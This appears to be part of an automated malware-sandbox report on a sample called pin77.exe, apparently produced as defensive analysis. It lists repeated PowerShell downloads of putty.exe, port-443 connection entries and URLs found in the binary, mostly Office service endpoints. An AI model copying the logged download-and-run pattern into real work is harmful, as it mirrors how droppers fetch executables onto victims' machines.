Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/latest/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.liConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /~sgtatham/putty/0.78/w32/putty.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17134.1Host: the.earth.li
Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49739
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49700 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704
Source: unknownNetwork traffic detected: HTTP traffic on port 49754 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49702
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49701
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49700
Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49704 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49701 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49739 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49756 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49761
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
Source: unknownNetwork traffic detected: HTTP traffic on port 49702 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49756
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49754
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49761 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: http://b.c2r.ts.cdn.office.net/pr
Source: pin77.exe.3.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: pin77.exe.3.drString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: pin77.exe.3.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: pin77.exe.3.drString found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: pin77.exe.3.drString found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: pin77.exe.3.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: pin77.exe.3.drString found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: pin77.exe.3.drString found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: pin77.exe.3.drString found in binary or memory: http://ocsp.comodoca.com0
Source: pin77.exe.3.drString found in binary or memory: http://ocsp.sectigo.com0
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinslicensing.store.office.com/apps/remove
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.aadrm.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.aadrm.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.addins.store.office.com/addinstemplate
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.cortana.ai
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.diagnostics.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.diagnosticssdf.office.com/v2/feedback
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.diagnosticssdf.office.com/v2/file
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.office.net
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.onedrive.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://api.scheduler.
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://apis.live.net/v5.0/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://augloop.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://augloop.office.com/v2
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://cdn.entity.
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://clients.config.office.net/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://clients.config.office.net/c2r/v1.0/InteractiveInstallation
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://config.edge.skype.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://consent.config.office.com/consentcheckin/v1.0/consents
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://consent.config.office.com/consentweb/v1.0/consents
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://cortana.ai
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://cortana.ai/api
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://cr.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://dataservice.o365filtering.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://dev.cortana.ai
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://devnull.onenote.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://directory.services.
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://graph.ppe.windows.net
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://graph.ppe.windows.net/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://graph.windows.net
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://graph.windows.net/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?secureurl=1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://inclient.store.office.com/gyro/client
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://inclient.store.office.com/gyro/clientstore
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://invites.office.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://lifecycle.office.com
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://login.microsoftonline.com/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://login.windows.local
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: BDCC5888-C698-441E-B0C1-65519FFD7790.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
